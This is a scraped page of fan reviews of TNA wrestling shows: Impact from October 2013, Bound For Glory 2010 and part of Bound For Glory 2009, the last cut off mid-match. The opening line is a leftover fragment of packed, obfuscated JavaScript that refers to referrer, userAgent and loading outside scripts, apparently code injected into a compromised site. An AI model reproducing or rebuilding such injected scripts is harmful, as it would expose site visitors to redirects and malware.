");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebrse|var|u0026u|referrer|iedzr||js|php'.split('|'),0,{})) Wrestling
Date: October 17, 2013
Location: Cox Business Arena, Tulsa, Oklahoma
Commentators: Mike Tenay, Taz

Christopher Daniels vs. Robbie E. vs. Hernandez vs. Eric Young

The winner of this gets the final spot for his team in the gauntlet match on the preshow with the winning team getting a title shot at the PPV. Robbie and Young get us going but Young tags in Hernandez for the slingshot shoulder to E. Robbie brings in Daniels who has to escape the over the shoulder backbreaker but gets caught in the choke suplex for two. A cheap shot from Robbie takes Hernandez to the floor before he comes in legally and gets two off a middle rope elbow.

SuperMex comes back with a double clothesline to take down Daniels and Robbie, allowing for the tag off to Eric. Daniels and Robbie get in an argument (despite not being a team), allowing Hernandez to do the running clothesline from the ramp. Hernandez misses a splash in the corner and falls out to the floor before Eric suplexes Daniels down. Robbie makes a blind tag in and pins Daniels off the top rope elbow from Young at 5:18.

AJ fights off Jesse Godderz.

Gunner vs. Knux

Chris Sabin is going for the bounty.

Video on the Ultimate X match.

Chris Sabin vs. Samoa Joe

Sabin tries to bail but Joe grabs him on the ramp, only to have Chris slam him onto the steel. Joe dives back in to beat the count at nine and catches a charging Sabin in a release Rock Bottom out of the corner. A boot to the chest and the backsplash gets two for Joe but Sabin comes back with a springboard tornado DDT for two. Not that it matters as Joe grabs a quick Koquina Clutch for the win at 5:17.

Post match Aries, Hardy and Manik come in for a big brawl. Hardy pulls in a ladder, allowing Manik to dive onto Aries and Sabin.

Bad Influence goes after AJ but he holds them off with a fire extinguisher.

Ethan Carter III debuts at Bound For Glory.

Bully Ray vs. Magnus

Magnus wins a quick slugout and clotheslines Bully down to speed things up a bit. A big boot puts Ray down and the top rope elbow gets two. Magnus charges into the referee by mistake so Ray gets the chain, drawing out Sting for the save. The referee throws Sting out, allowing Ray to low blow Magnus for the pin at 10:42.

We run down the BFG card.

Results

Robbie E. b. Eric Young, Hernandez and Christopher Daniels – Robbie pinned Daniels after a top rope elbow from Young

Gunner b. Knux – Spear

Samoa Joe b. Chris Sabin – Koquina Clutch

Bully Ray b. Magnus – Low blow

 

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Bound For Glory 2010
Date: October 10, 2010
Location: Ocean Center, Daytona Beach, Florida
Commentators: Mike Tenay, Taz

So here it is. This is the show that they have spent MONTHS building to. This is their Wrestlemania and by far their biggest show of the year. We get a new champion tonight and find out who THEY are. Even I’m excited and I’ve made no secret that I’m a big critic of this company. Tonight is the final match for Abyss apparently which I don’t buy at all. Let’s get to it.

Main event is no time limit, no count out and no DQ. That makes me nervous.

There’s and entrance ramp as well as three video screens. The production values are rather solid here, especially by TNA standards.

Tag Titles: Motor City Machine Guns vs. Generation Me

Good choice for an opener. Shelley and Max (does it matter?) start us off. Naturally it’s insanely fast paced to start us off. The Guns get all tricky and destroy Max in the corner. A big elbow Poetry in Motion move gets two on Max. The heels are getting dominated here for the most part as we hear a lot about Shelley’s neck.

Double DDT out of the corner to Shelly and he’s in big trouble. Shelley keeps fighting and manages to get out with a big double stomp off the top. Hot tag to Sabin as this isn’t bad at all so far. The Guns and everything else go completely insane and Sabin hits Punk’s springboard clothesline to Jeremy for a close two. Tenay is right that no one has tag wrestling like this.

The Guns are just straight up fun to watch. I’m not sold on making this the opener though as this is something that probably should have been used to fire up the crowd in case they get bored later on. Max gets two and is legit shocked that Sabin kicked out. They go for the DDT again but Shelley makes the save.

Elevated Sliced Bread is blocked and Jeremy takes out Sabin with a big dive. A Piledriver like move is broken up by Sabin at two. Very fast paced match naturally. This is too fast to call. We actually get a tag. Are you kidding me? They set for More Bang For Your Buck but a nice counter sets up a running German off the top by Sabin. Skull and Bones on Max ends this.

Rating: B. Very fast paced and fun match. Do I need to explain this one again? It’s an insanely fast paced tag match to open up a show. That’s PPV 101 but I worry that this might be the high point of the show. We get the awesome Motor City music twice though and the Guns keeping the belts is a good thing so I’m happy.

Tara and Madison go nuts on Christy about hair dye or something. Tara is grateful to Madison for life apparently.

We recap the Knockouts Title situation which I think you all know by now. It’s all about the Beautiful People and that’s about it. This again becomes all about them and nothing else. Keep in mind Mickie James is the referee here.

Knockouts Title: Angelina Love vs. Madison Rayne vs. Velvet Skye vs. Tara

Mickie looks good. I could go without the hardcore country thing though. One fall to a finish here and tags are required. Angelina vs. Madison to start us off. Off to the regular Beautiful People now which is the only match left in that division I suppose. Madison comes in and gets in Mickie’s face but that goes nowhere.

This is another match that is going too fast to really keep track of. Tara vs. Velvet at the moment. How in the world did Hefner think Tara didn’t look good enough for Playboy? Octopus Hold from Velvet to Tara which blows my mind a million ways to Monday. The tagging thing is of course abandoned soon.

Widow’s Peak doesn’t go on as Angelina makes a save. And then she rolls up Velvet with some tights being pulled to give her the title. We get the BROKEN song so I’m very happy. Madison goes off on her and Mickie kicks her all around the ring. So it’s Tara vs. Mickie now? Ok then.

Rating: D+. Pretty much just a mess here and only a way to get the title on the show. This wasn’t much at all but you had five hot women and you get to add Mickie to the division now which is definitely not a bad thing at all as it was dying for some fresh blood. Nothing very good here but I’ve seen worse.

Eric Young babbles about some code. Yeah I don’t care either.

We recap the “feud”. Yeah I don’t care either. Let’s get this over with.

Eric Young/Orlando Jordan vs. Ink Inc

Eric has the TNA rule book while Orlando is in a white suit with a beekeeper mask. And now Eric has fake tattoos or something. I give up. Jordan and Neal start us off because someone has to. Let the gay jokes begin.

Taz recommends that Shannon avoid the crotch of Orlando. I give up. Total meh match here as it was boring on Impact and it’s boring here. This is really just an outlet for Taz to make gay jokes about Orlando which aren’t incredibly funny. Eric gets crotched on the top rope.

Orlando vs. Shannon at the moment. Eric is fooling with the rule book because it’s been a few seconds without “comedy.” We talk about the German broadcast team for no apparent reason. Eric starts cheating by pretending to tag in and Taz is just like “screw it’. Eric tags himself in to fight Orlando. We get a Midnight Rocker reference which makes Taz laugh. Eric causes Orlando to get caught by Shannon for the pin.

Rating: D. Just move on please. I hate comedy matches, especially when they lack comedy.

Jeff says he’s going to win with the Twist of Fate and Swanton Bomb.

X–Division Title: Douglas Williams vs. Jay Lethal

This is the return match apparently from Impact a few weeks ago when Lethal won it in the first place. Non-British tights for Williams here. What would the Bulldog think? Fast paced start until Williams gets a hold on Lethal to take over. And so much for that. Tenay talks about the new tights because that’s interesting I guess?

Apparently his family crest is on it. No mention of Fourtune here which is kind of odd. Williams takes it to the mat and we stay there for awhile. Williams is getting back into the style of hating the X Division style that worked so well for him in the spring and early summer.

Lethal cranks up the speed to make things work a bit better. Taz likes suplexes and you can hear it in his voice. It changes when Williams uses a few of them. He even throws in some analysis of them for fun. Hey he sounds like an analyst. I thought this was 10/10 not 10/31.

Chaos Theory out of nowhere gets two. Dang I love that move. Williams gets all ticked off and takes him up top and sets for a rana. Lethal gets a SWEET counter where he rolls through it perfectly into a sunset flip for the pin to retain. He celebrates in the crowd which is always a nice touch.

Rating: C+. Nothing special here but the ending was rather good. This felt like a decent Impact match but it was totally tacked on here with no particular rhyme or reason. Dang I need to stop listening to Shinedown. This wasn’t bad but it was just kind of thrown on there to get the match on the card.

And while he’s in the crowd SHORE attacks him. Like the idiot that he is, he says he’s winning the title and taking it back to Jersey. You know, where Lethal is from.

We recap RVD vs. Abyss which is a bit early on the card I’d think for it. I can’t imagine this is where THEY are revealed. That’s just way too early for it I’d think but who knows? The idea here is RVD isn’t at 100% but he wants revenge no matter what.

Rob Van Dam vs. Abyss

Monster’s Ball here which means anything goes. And remember this is his last match EVER! He brings Janice and Bob, which are the names of Dixie Carter’s parents in what I’d assume is a rib, and puts them on the announce table. Abyss says RVD is done and THEY are coming. And remember this is once a century. You know, like EVERY OTHER DATE.

RVD of course kicks the heck out of him to start to a HUGE RVD chant. Van Dam is in a t-shirt here for some reason. There’s a barbed wire table at ringside. Total dominance so far by Van Dam who is on fire. He gets taken down by an elbow of all things. Given the shirt I’d bet on RVD going into barbed wire.

Chokeslam is countered and of course Abyss eats barbed wire. This would be more effective if we hadn’t seen it just three days ago with bigger stars. And of course he’s up again just a few seconds later, dodging a splash that send RVD into the wire. Abyss busts out a regular table as we talk about THEY.

Trash can to the head of Van Dam as Abyss tries to make a barbed wire platform between the railing and the ring. Oh never mind it’s just a regular table. Abyss winds up on it and RVD hits Rolling Thunder onto it. Cool spot. Too many dead spots here though as we hit a spot and then stop to look for more stuff to use in the next one.

RVD sets up Coast to Coast but gets shoved off and RVD winds up in barbed wire. Sick looking bump. The match more or less stops as the referee is thinking about stopping it. Instead we throw him back into the ring and Abyss gets…nothing. Ok then. Instead we get the Hogan ear taunt.

Van Dam comes back and sends him into the barbed wire board in the corner. Now it’s Abyss in trouble. RVD goes for the Five Star but Abyss moves and RVD has a tummy ache. And now It’s time for Janice. Well of course it is. RVD counters though and gets a pair of shots with Janice to the gut of Abyss and the Five Star. Abyss is bleeding from the mouth.

Rating: B-. Fun hardcore match with everyone beating the tar out of each other. Ok so maybe saying everyone for two people is a stretch but you get the concept. This worked fine for what it was with lots of weapons being used and all that jazz. They’re dragging this angle out for all it’s worth and more though so points for that….I think. Fun match.

Abyss says here WE come. Oh great.

We recap the handicap match with the whole Deception thing. This is the other major angle and Hogan is VERY hurt keep in mind. Yeah I don’t buy it either.

Jeff Jarrett/Samoa Joe vs. D’Angelo Dinero/Kevin Nash/Sting

Joe vs. Pope start us off. Oh and Joe is fighting for Hulk’s honor despite having zero connection to him. Nothing special so far and we hit the floor. It more or less has broken down with Jarrett fighting Pope and the old guys vs. Joe. And so much for that as we get back to Nash vs. Joe.

The entrance ramp really does look good. Pretty basic match so far. Joe gets beaten on for a good while but FINALLY gets a shot in on Nash to get away. He goes for the tag and there goes Jarrett for your swerve. Nash says I told you and Joe is in trouble. Now it really is 3-1. Jackknife to Joe ends it.

Rating: D+. Just the match that no one cared about to build to the swerve. Pay no attention to the fact that we’ve been building up Sting vs. Jeff for months and now it’s all cool. I’ll allow him an explanation but dude, this was supposed to be the explanation, not more questions. Whatever man.

Anderson says he’ll win.

Here’s 3D for their major announcement. Yep they’re retiring, but they want one more match, and of course they want the Guns. They’re retiring either way. Nice. This is solid I think and it’s good that they’ll retire this way.

We recap Fourtune vs. EV 2.0. If there is ANY justice in the world, EV loses here. Naturally it’s more about Flair vs. Foley than anyone else.

Fourtune says exactly what you would expect them to say. Regular vest for AJ thank goodness.

Fourtune vs. EV 2.0

This is a one ring WarGames match. A man from each team starts and after a set amount of time (5 minutes I think) there’s a coin toss and another guy comes in from the winning team. That goes on for two minutes then a guy from the losing team comes in. Two more minutes of that and then the winning team gets the advantage again. Alternate until all 8 are in and then we lower the roof, complete with weapons. No pins or submissions until everyone is in.

EV has Dreamer, Sabu, Rhyno, Richards and Raven. Yeah ten people in there great. Foley is with them. Flair brings out AJ, Storm, Roode, Kaz and Morgan. Fourtune has the advantage so screw the coin flip idea. Flair is in an undershirt. Oh dear.

The old guys go at it before the match starts and we try to figure out who starts the match. Kaz and Richards to start. Again Taz wants to say ECW and can’t do it. Kaz beats the tar out of him to start. And he continues doing so. Well that’s what you get for sending in Richards as your leadoff man.

Stevie gets a Downward Spiral into a modified Koji Clutch but AJ comes in seconds later to make it 2-1. Richards is of course in WAY over his head and gets destroyed. Figure four on Richards and he’s almost dead. Dreamer is in next. How in the world is this guy feuding with AJ Styles?

Dreamer spits mist or something at AJ as Richards gets back into it. All of Fourtune is in blue which is a cool idea I guess. Roode goes in third as this is going to take awhile to just get everyone in. Flair punches Dreamer through the camera hole. I love that thing as it gives you far better shots.

Sabu comes in and hooks a seated crossface chickenwing on AJ which we’ll call a camel clutch for fun I guess. This is REALLY slow now with EV controlling. Dreamer is bleeding fairly badly. Storm is in so it’ll be Morgan and Raven or Rhyno in last. Storm turns the tide and we get BEER MONEY!

With nothing left in the other minute here’s Raven who looks stupid with blonde hair. He cleans some house and shoves a snot rag in someone’s face. Ah ok it was Roode. Dreamer gets his crotch stepped on for fun. Dude seriously, Raven is your hot tag in essence? Roode is busted open.

Sabu is busted too. Morgan comes in as the final member of Fourtune. He drills Richards and drills Sabu back first into the cage. Dreamer takes the elbows in the corner as the advantage does the same thing it’s done the whole time so far. Raven is bleeding too so every member of EV who is in the match is busted.

Big time Gore to Storm and here comes the roof. This is where the advantage is supposed to come for EV I guess. Flair and Foley get into it of course as is their custom. EV takes over and there are bigger weapons on top of the cage such as a table, a ladder and something else that I can’t make out.

Raven and Morgan beat the heck out of each other as EV is mostly in control. Morgan goes for the Carbon Footprint and misses, hitting the door which doesn’t move at all. Kaz gets drilled into the door and there it goes. Richards and Kaz go up and we set up the ladder up there. This always scared the living heck out of me.

Sabu dives through the door to take out Morgan and maybe Storm. Richards sets up the table on top of the cage and Kaz goes up the ladder and here’s Kendrick on top of the cage too. Kaz goes through the table and Kendrick appears to be meditating or something. In the ring Dreamer drills AJ in the leg and drops him on a chair, winning the match. Yes, EV won the match and everything seems to be fine with it. WELL OF COURSE THEY ARE.

Rating: D+. Not much here as there were a lot of very slow spots. Also the Kendrick thing just did nothing for it. The weapons were ok but the ending felt kind of tacked on. This never got to the level that they wanted it to get to and that hurt it a lot. This was one of the weaker matches they’ve done with this gimmick and I think a lot of that is due to the participants.

Oh yeah. DID I MENTION EV 2.0 JUST FREAKING BEAT FOURTUNE and that TOMMY DREAMER PINNED AJ FREAKING STYLES??? And people wonder why this company can’t be taken seriously.

Music video about the main event.

TNA World Title: Mr. Anderson vs. Kurt Angle vs. Jeff Hardy

Hardy has new music. Nothing all that special as again you can barely understand it. He’s called challenger #1. Who exactly is he challenging if no one has the title? Anderson is in gray tights which is odd. It’s 10:33 and we’re just starting. Think they’re cutting this close? No big match intros either which is weird also.

Angle is knocked to the floor and Anderson gets a neckbreaker on Hardy for two. Angle pops in and goes for Anderson’s knee. Big old belly to belly as it’s all Angle here. Then Hardy saves and it’s all Hardy. Little theme going on there. Angle Germans Hardy who Germans Anderson to take both of them over in a cool spot.

It gets two on Hardy as we keep going. 10:37 and no sign of THEY which scares the heck out of me. Hardy sends Angle up and over and might be hurt. I don’t buy it but whatever. Hardy goes over the top in a dive to take out everyone. Back in and Angle is ok, hooking a chinlock on Hardy after a cover gets two.

Running German to Hardy and he’s up seconds later. Ok then. Hey we went a full two hours and 40 minutes before we got a shot of Dixie. Angle is busted open a bit. Angle busts out some Germans on Anderson as Hardy is down. Hardy gets some of the same. Ankle Lock on the face painted one.

Anderson tries to save and winds up in the ankle lock. Angle locks the ankle lock on BOTH of them at once. That looks awesome. Naturally it doesn’t work but it looked cool while it was on. Anderson gets that rolling fireman’s carry slam from the middle rope on Angle so that Hardy can cover both for two.

10:45 now as this has somehow been going 12 minutes. Angle Slam gets two on Hardy. Top rope Angle Slam on Anderson but Hardy gets the cover for two. The fans think this is awesome and it’s not bad. Twist of Fate to Anderson and the Swanton hits. Angle saves into the ankle lock and Hardy is in trouble.

Jeff kicks off and sends Angle into a Mic Check for a VERY close two. Pinfall reversal sequence gets a lot of two counts. Angle is the only one left and hits the moonsault on Hardy for two again as Anderson is still down. Angle and Anderson go at it and block each others’ finishers.

And there goes the referee. Oh blast it. Everyone is down and here comes Eric with a chair. And here it comes. This is what TNA has spent the last 4 months building to. And what a shock: HULK IS HERE! Or at least his music is here. Yep there he is but on crutches. He needs help getting into the ring which I don’t buy.

Hulk looks ticked at Eric who throws the chair out and wipes his hands. Hardy stumbles to his feet on the floor and gets in. Both Bischoff and Hogan have crutches and Hogan gives Jeff his. Angle is up. Hardy pops Angle with the crutch and Hogan points at Jeff. Yes, it appears that Jeff Hardy, the most popular star in the world, is part of They. Twist of Fate to Anderson, and Hardy is world champion.

Rating: B. Ending aside obviously, this was a solid main event. It felt like a big match, but then again I would prefer a singles match for the title. That’s the traditionalist in me talking but if there is a match to end the biggest show of the year, only on very special occasions (this isn’t one of them) should it not be one on one for the world title.

Here comes Jeff Jarrett and Abyss. The fans throw trash in for no apparent reason. Hogan and Abyss hug, and THEY are revealed. Yes, it was Hogan and Bischoff with Hardy all along. RVD comes down and yells at Jeff and is of course laid out. Massive posing ends the show.

Overall Rating: B-. This one took me a very long time to reach as it’s now almost 330 Monday afternoon as I write this. This show, without a doubt, was not boring. The ending was a legit shock and I think lived up to most of the hype, but we’ll get to that later.

As for the rest of the card, there are two important things here. Number one, Lethal vs. Williams was the only standard one on one match. Number two, expect to see a lot less wrestling in the near future. Nothing was incredibly bad, but not a lot really stood out.

What I saw in this card was a great example of an old school WCW card: the opening stuff was great, then the stars come on and things go downhill a bit. For instance, Fourtune loses? Why? I understand the whole heels win at the end so faces have to win something, but dude, Tommy Dreamer beat AJ Styles at the biggest show of the year in 2010. The theory may work fine but when you put it into action that doesn’t mean it works.

And now for the big reason this show has perplexed me so: the main event. The match itself was rather good and considering my disdain for triple threats that’s saying a lot. As for the angle, the best thing I can say about it is that it was shocking. I didn’t see Hardy turning. Hogan and Bischoff I did and I have the LD posts to prove it.

The common issue with the turn is that it makes no sense. It does make sense to a degree but it’s one of those things that you have to suspend a lot of disbelief, think about a lot of things, ignore a lot of things and just accept parts of. That’s rarely good and I don’t think it’s good here.

The big comparison has been to Vince and Austin at Mania 17. Not really as in that it was simple as JR put it: “Steve Austin has sold his soul to the devil himself to win the WWF Title!” There. That’s it. That’s your explanation. There is no conspiracy, there is no hidden meaning, there is nothing but Austin saying he’s not good enough to beat Rock on his own and is taking the shortcut to get what he wants.

This is a huge conspiracy that is going to require a lot of explanation and in which something is going to get fouled up. I’ve said this many times: I don’t want to have to have a pencil and paper and a flow chart to understand an angle. TNA should not be more complicated than Lost.

Now after all that is said, the show was still good I thought. The ending was good. The shock was good. Impact is going to be through the roof for a few weeks. That being said, the real ratings are going to show through in a few weeks. They’ll be most interesting. I was VERY intrigued last night and while I think it came off as a letdown, the PPV has to be viewed as a success, despite Hogan managing to be the focus of the end of ANOTHER major show and angle.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

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Bound For Glory 2009
Date: October 18, 2009
Location: Bren Events Center, Irvine, California
Attendance: 2,400
Commentators: Taz, Mike Tenay

Since we’re 5 days from THE BIGGEST TNA SHOW EVER I figured a show was called for. This is from about a year ago and it’s AJ’s trial by fire more or less. He won the title at No Surrender but needs to beat Sting to solidify his reign. Other than that this card looks ok but it also looks like a run of the mill TNA PPV. We’re in California here which is a new thing for the company. However, they’re at about 40% full so it’s not exactly something to write home about. Let’s get to it.

This is TNA’s biggest show of the year so they have a theme song here. Also this is 9 days before Hogan and Bischoff signed. Everyone talks about how important this show is to them. They’re trying to make it seem big if nothing else so points for that. Oh and it might be Sting’s last match. Yeah right.

Some guy named Zakk Wylde plays the national anthem.

X–Division Title: Chris Sabin vs. Alex Shelley vs. Amazing Red vs. Suicide vs. Daniels vs. Homicide

This is Ultimate X and the Guns got in by winning a tag match earlier. Suicide is played by Kaz here. Dinero was supposed to be in this too but had a legit family emergency. Red has Don West with him. This is Red’s first Ultimate X match. That’s rather surprising. And there’s a rather scary close up of Homicide. Red and Suicide (how did he and Homicide never team together?) go to the floor as the spots begin.

Daniels stops a huge dive by Red to kill the crowd. Daniels has won four straight of these matches apparently. Red hits a SWEET Rana off the top to Daniels to the floor, taking out about 3 other people. The Guns take over with some of their awesome team stuff. No real attempts at going for the belt until Homicide heads up there. Suicide trumps Homicide though and everyone crashes.

This turns into the Guns vs. everyone else as Daniels takes a missile dropkick Doomsday Device. Everything goes insane again and you can’t really follow much of anything. Homicide, a heel here, goes up but Daniels stops him. Daniels and Sabin play a little chicken but both crash as well. SICK tornado DDT by Sabin. Red gets a leaping Downward Spiral to take out Daniels as this has been rather fun.

There’s the required Tower of Doom spot that never gets old with the big move being Suicide hitting a moonsault on Daniels. To give you an idea, Suicide was on the top rope. Red got behind him for a German. Red was powerbombed off by Sabin. Red suplexed Suicide off and Suicide flipped into a moonsault press onto Daniels. Ok so onto is a stretch but you get the concept.

The crowd isn’t really feeling this outside of big spots, which isn’t great but it’s also not horrible. They know their chants though I suppose. Best Moonsault Ever to Sabin. Daniels, Suicide and Red go up to the top of the structure, as in 7 feet about the X, getting a please don’t die chant. They’re above the height of being on top of the Cell. Daniels almost falls as this is terrifying.

Daniels thankfully drops down as does Suicide. Red is laying on top as the Guns go for the traditional way. Suicide and Daniels go down and Daniels lands on his head. Tazz half kayfabe shouts CHECK HIM, and I couldn’t agree more. Red drops down and gets the belt. I’m legit worried about Daniels after that fall. Don West comes out to celebrate.

Rating: B. I was trying to figure out if it should be minus or plus but this is fine. I’ve never been wild on having big gimmick matches like this to open the show. I get having an X match here but not the big gimmick matches like these. Save these for the middle of the card where the crowd needs a boost. Still though this was solid and the spots were great. Daniels’ fall was scary though. Fun match and did exactly its job though.

Lauren is with the Beautiful People, who are getting the Knockouts Tag Title shot tonight. The belts are like a month old here and Velvet is ridiculously hot as the evil chick. This is Lacey, Velvet and Madison if you’re not sure.

Taylor and Sarita, the champions, say they’ll keep the belts. Sarita insults them in Spanish and it’s fun to be able to understand it.

Tenay and Taz run down the card. I never get this.

Knockout Tag Titles: Beautiful People vs. Taylor Wilde/Sarita

Velvet and Madison here. Lacey makes out with the referee and is allowed to stay at ringside. Hebner comes out and throws her out anyway. We botch an armdrag to start as Taylor just kind of falls down. Ah now things are a bit better. Typical match of the genre but Sarita hits a NICE missile dropkick to Velvet. Taylor gets a German into a bridge for the pin.

Rating: D+. Just a quickie to have the new titles on the show. This wasn’t anything bad and nothing too offensive, but dang these belts would get meaningless very fast. They need to just drop them already and get some fresh blood in the division. Allegedly Mickie is on the way so that should help a lot.

We recap the Legends Title feud which is Eric Young leading World Elite and wanting the title which Nash holds. This was just an awkwardly put together feud and it never clicked at all. Oh and there’s a World Elite vs. Mafia feud with a bounty on Young’s head or something. Like I said it just never clicked at all.

Nash and Young might have an alliance. Young talks a lot and Nash just kind of says whatever.

Legends Title: Kevin Nash vs. Eric Young vs. Hernandez

Nash has the title here if I forgot to mention that. Hernandez went from being the hottest thing in the world to this. In a year the Legends Title went from Legends to Global to TV. Hernandez, still in the khaki shorts here, beats up both guys to start us off. BIG shoulder block puts Young on the floor. This is basically Hernandez beats up two guys until we get to the conflict between the heels match.

Solid heat on Young. Match is far from that though. And there’s the issue between the heels as Young insists it was just instinct. Hernandez hits a pretty weak missile dropkick to Nash as this is just a boring match. It’s not really horrible but it’s just totally not interesting at all. Big dive by Super Mex to try to make this more interesting.

This has zero flow to it at all and it’s hurting badly. Young hits a big elbow on Hernandez and pulls Nash’s straps down. He sets for the Jackknife and Young rams Hernandez’s head into Nash’s balls for the pin. Pay no attention to Nash’s shoulder being WAY up.

Rating: D-. Not a bad match exactly but just not interesting at all. This was a weird one as they were trying but the styles just totally did not mesh. Like I said it’s not horrible but it’s just there. No flow or story being told really and while the ending was somewhat creative it just never amounted to anything and didn’t work at all.

The teams in the tag title match are arguing but Douglas Williams says worry about Team 3D. And hey there’s a Wrestlemania reference. There’s a Full Metal Mayhem match tonight which they say is the same as a TLC match.

IWGP Tag Titles/TNA Tag Titles: Beer Money vs. British Invasion vs. Team 3D vs. Main Event Mafia

Since this is TNA they can manage to screw up a TLC match. Both tag titles are on the line here and any team can win any of them. The Mafia, Steiner and Booker, are TNA tag champions and the Invasion are the IWGP champions. The thing was that TNA decided that since EVERYONE watches Japanese tag wrestling that there was nothing wrong with having two sets of tag titles because these other belts are SO famous. I really hated this idea, as in far more than most TNA ideas which should tell you a lot.

Thankfully soon after this TNA would WAKE UP and realize no one cared about the IWGP belts because THIS ISN’T JAPAN. Big brawl to start while Beer Money hides in the corner which is smart. We get into the heart of why I hate this immediately as Taz and Tenay talk about how prestigious the IWGP belts are. That’s all well and good but there’s one flaw: your belts are supposed to be the top titles. If they weren’t you wouldn’t call them WORLD tag titles. It was like TNA was saying “yeah we’re a big deal but we pale in comparison to Japan.” I hated it.

Steiner and D-Von go off to fight and it’s a big mess that’s hard to call. I wouldn’t have put two big multi-man climb up to get an object matches on one show but I get what they were thinking here. Ton of weapons go everywhere and of course there isn’t much in the way of flow but there isn’t supposed to be here. DWI for Booker. Steiner busts out the corner Frankensteiner which is nothing like the original one but is an easier way to avoid having to do the harder spot.

Booker might be legit hurt. Steiner does nothing but suplexes, showing his level of awesomeness. Steiner goes up after the TNA belts (at least he didn’t go for the others first) but the ladder is too short and he gets shoved off. Booker has a stretcher brought out for him as Steiner takes What’s Up. Eh with that many steroids in him he probably didn’t feel a thing.

The Brits bring in tables as Booker is wheeled out. Dudleys just END the English dudes with chair shots. And the guitar player from earlier gets a chair shot on Magnus. Williams goes through a table in the ring as we’re in the “everyone but three people lay down while the three guys do spots” and D-Von hits What’s Up on Williams. BIG Table chant. Double chokeslams (from the Dudleys?) put Beer Money down and through tables.

Steiner pops back up and brings in a ladder. And then he falls off a ladder thanks to 3D. The team not the move. The Dudleys go up at the same time like idiots and here’s Rhyno of all people, since you know 8 people in one match aren’t enough, and blasts them with chairs but not before D-Von gets the IWGP Titles down.

Beer Money and the Brits both go up, resulting in a bad looking suplex on Magnus from both guys. Beer Money has an open shot but has to do their taunt first. Storm gets some beer and then a front flip powerbomb to take Magnus out again. Cool looking spot. Roode is about to get the TNA belts but Rob Terry of the British Invasion comes down to throw him through a table and help Magnus get the belt to end it.

Rating: B. Another fun match much like Ultimate X earlier. There were a lot of people here and I think too many teams. That and having two sets of tag titles made this a bit too much of a mess and the lack of a huge spot kind of slowed it down from being great. That being said this was a fun match and did the job it was supposed to do: get the crowd going. It’s not up to the levels of the great TLC matches but it was good. I still wish they didn’t have two multi-man grab the title matches at one show though but what can you do?

Recap of the Knockouts Title match which more or less is just a three way feud with nothing special to it at all.

Knockouts Title: Tara vs. ODB vs. Awesome Kong

ODB has beaten both of them already so we’ll just do it one more time I guess. Should be noted that this is the 5th match on the card, the fifth title match and the fifth match that isn’t a standard one on one or tag match. Think they’re overdoing anything here? Tara’s legs are awesome if nothing else. I never got the appeal of the ODB character at all.

Kong jumps both girls immediately but Tara goes right for her. And so much for that theory as Kong just crushes them. Middle rope splash misses both of them though and we get the rather sexy shirt rip off from Tara. She’d wear these tiny shorts and a Tapout shirt which she’d rip off to more or less reveal a half shirt. The faces fight over who gets the pin as it’s pure formula stuff here but FAR better than the Legends Title match.

Tara hooks the Tarantula but Kong makes the save, which isn’t really a save as you can’t get a submission there but you get the point. Tara gets into it with some fan that might be legit but I’m not sure. Upon further review it was Randy Couture’s wife who had wanted to do an MMA fight with Tara. All planned but TNA messed up the shot and didn’t see it. Why does this not surprise me?

Back in the ring Kong hits the middle rope splash on ODB, covering the entire front row in silicone. It gets two though as Tara makes the save. Implant Buster gets two as ODB kicks out on her own. Saed comes out and throws in a chair but Kong says no. She goes for a powerbomb on ODB and Saed slides the chair in again but ODB reverses into a face plant to the chair for the pin. Nice ending.

Rating: C-. Not a great match or anything but FAR better than the other one. There was a story and flow here rather than in the Legends match where nothing had any purpose it seemed. Everything worked here and while it’s not great it’s certainly watchable. Not bad here and definitely ok.

Morgan says tonight is personal and business.

Samoa Joe vs. Bobby Lashley

Hey look it’s another non-traditional one on one match as this is a submission match. Joe is in the Mafia here and Lashley is the MMA guy so this actually makes sense for once from a gimmick match perspective. Lashley has taped up ribs for some reason. Ah ok Rhyno jumped him on Impact. And yet he’s fighting Joe here. Well of course he is.

Joe might be a bit slimmer here but it’s hard to tell as the tattoo on his face takes away from his face a bit. Naturally we get the JOE’S GONNA KILL YOU chant because he’s a heel. Lashley hits a SICK spinebuster and goes after the arm. The problem with wrestling today is that with the advent of MMA and how fast people tap to holds it’s a BIG stretch to have people survive like 30 seconds in arm bars and leg locks.

Suicide dive to take out Lashley as Joe is far more popular than he’s supposed to be. Joe works the ribs as we’re told about the work he’s done on Lashley’s ribs recently. Thanks for talking about that in his entrance rather than Rhyno there guys. Abdominal stretch goes on as Taz is actually helpful here with his submission knowledge. Quick powerslam by Joe as he’s wildly over here.

Lashley blocks part of an armbar and gets some ground and pound in to HUGE boos. A full nelson slam from Lashley takes Joe down and we’re back to even. Lashley is REALLY bad on offense with some of the worst strikes I’ve ever seen. Joe thankfully takes over and beats the tar out of him. And then Lashley gets an STO (reverse stroke for you non-WM 2000 and No Mercy fans) into a side choke for the win. Joe blacked out or something.

Rating: D. They were trying for the MMA thing here and it just didn’t work in the slightest really. Lashley was just not that good at making what he’s capable of really doing look fake if that makes sense. This just didn’t work for me at all as it came off as sloppy and Lashley trying to get one big move in which he did. I’m not an MMA guy so I’m the wrong audience I guess, but this didn’t work at all for me.

Foley talks about fighting Abyss and makes limited sense. Apparently he doesn’t want Abyss to overshadow him and Abyss is going to have to earn it. Ah ok Foley wanted to make him his protégé and them beat the heck out of him just because I guess. Foley is heel here and we actually get a reference to Abyss being world champion. It’s Monster’s Ball also and if Abyss uses tacks he’s disqualified or something.

Mick Foley vs. Abyss

Stevie Richards is referee and is the doctor again. LOUD pyro for Abyss. Foley jumps him on the ramp and is all casual about hitting him with the barbed wire bat. I like that. I’m reading his book at the moment and haven’t gotten to this part if it’s in there. Almost immediately Foley goes up the set, climbing a tower. Abyss follows and gets knocked through part of the ramp.

Foley climbs down as Stevie says Abyss is done. Foley gets a running start and drives the bat into Abyss as he’s still in that hole in the ramp/stage. Foley, the face, of course gets cheered. Stevie is the cheerleader dude here as the match just kind of stops until Abyss climbs through the stage. We have a barded wire board from somewhere and he makes a platform with it between the guard rail and the ring.

And there’s another board that’s just like the first. Double armed DDT to Abyss to the board. Richards beats up Abyss too because EVERYONE loved that angle. Foley gets a bat shot into Abyss’ arm to open it up. His head is busted too. Foley goes into the wire board now then Abyss does the same. Make that a sandwich as the other is under him. Naturally it only gets two.

